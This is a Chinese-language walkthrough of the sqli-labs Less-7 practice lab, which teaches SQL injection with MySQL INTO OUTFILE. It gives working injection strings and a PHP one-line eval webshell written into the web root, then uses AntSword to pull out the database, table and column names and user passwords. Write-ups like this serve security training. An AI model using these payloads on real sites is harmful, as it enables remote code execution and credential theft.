配置关卡文件
首先,MySQL默认是不能通过sql上传文件的,具体请输入命令show variables like '%secure%' 查看
若图中划红线的框为
Null 不可上传
某一路径 只能在该路径及其子路径中上传
空 可以上传

具体修改方法如下
打开my.ini文件,并在[mysqld]栏中添加如下内容
secure_file_priv="路径"

然后重启MySQL即可生效。
以上步骤实际上是完善题目,因为此题本来就是用上传文件做,没法上传文件就是没法做。
判断闭合方式
首先输入id=1',报错;然后输入id=1'--+,还是报错;接着输入id=1')--+,还是报错;最后尝试输入id=1'))--+,这次终于对了,所以闭合方式就是单引号加双括号。

判断字段数
这个没啥好说的,直接order by即可最后得出是3

上传木马并连接
?id=1'))union select 1,2,"<?php @eval($_POST['cmd']);?>" into outfile"C:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\a.php"--+注意这里是双反斜杠

然后查看靶机中相应的文件即可知道已经成功上传

然后用中国蚁剑进行连接

注意,这里要定位到a.php,而不是仅仅到Less-7文件夹,连接成功后如下图

爆库
?id=1'))union select 1,2,database() into outfile"C:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\b.txt"--+ 这里换成b.txt了

用蚁剑查看

可知当前数据库是security
爆表
?id=1'))union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' into outfile"C:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\c.txt"--+这里改成c.txt了,若仍是b.txt,则原先的b.txt不会改变,也不会新增内容。

爆字段
?id=1'))union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' into outfile"C:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\d.txt"--+

查数据
?id=1'))union select 1,2,group_concat(username,1,password) from security.users into outfile"C:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\e.txt"--+

总结
其实就是上传了一个一句话木马,然后用蚁剑进行查看相应数据,指令大多和第一关相似。
特别之处就是用了into outfile"路径"这个语句。
最后想说的是,蚁剑真的可怕!!!